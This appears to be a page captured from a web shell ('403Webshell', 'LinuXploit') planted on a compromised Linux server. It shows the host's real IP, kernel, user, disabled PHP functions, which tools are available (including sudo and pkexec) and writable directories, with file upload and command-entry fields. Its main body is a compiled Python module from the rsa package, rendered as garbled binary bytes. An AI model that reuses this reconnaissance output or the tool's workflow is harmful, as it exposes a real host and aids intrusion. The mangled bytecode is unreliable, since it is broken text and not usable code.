403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3/dist-packages/rsa/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3/dist-packages/rsa/__pycache__/util.cpython-310.pyc
o

j��`��@s.dZddlZddlmZddlZddd�ZdS)zUtility functions.�N)�OptionParser�returnc	Cs�tddd�}|jdddddd	�|jd
dddd
d	�|jdddddd�|jdddddd�|�tj�\}}|jratd|j|jftjd�t	|jd��}|�
�}Wd�n1s[wYntd|jtjd�tj�
��d�}t
|�tksJt
|���tjj�||j�}tj�|j|j�}|�|j�}|jr�td|j|jftjd�t	|jd��}|�|�Wd�dS1s�wYdStd|jtjd�tj�|�d��dS) z=Reads a private key and outputs the corresponding public key.zusage: %prog [options]z�Reads a private key and outputs the corresponding public key. Both private and public keys use the format described in PKCS#1 v1.5)�usage�descriptionz-iz--input�
infilename�stringz1Input filename. Reads from stdin if not specified)�dest�type�helpz-oz--output�outfilenamez2Output filename. Writes to stdout of not specifiedz--inform�informz!key format of input - default PEM)�PEM�DERr
)rr
�choices�defaultz	--outform�outformz"key format of output - default PEMz(Reading private key from %s in %s format)�file�rbNz+Reading private key from stdin in %s format�asciiz%Writing public key to %s in %s format�wbz)Writing public key to stdout in %s format)r�
add_option�
parse_args�sys�argvr�printr�stderr�open�read�stdin�encoder	�bytes�rsa�key�
PrivateKey�
load_pkcs1�	PublicKey�n�e�
save_pkcs1rr�write�stdout�decode)	�parser�cli�cli_args�infile�in_data�priv_key�pub_key�out_data�outfile�r5�*/usr/lib/python3/dist-packages/rsa/util.py�private_to_publicst������
���"�r7)rN)�__doc__r�optparser�rsa.keyr!r7r5r5r5r6�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit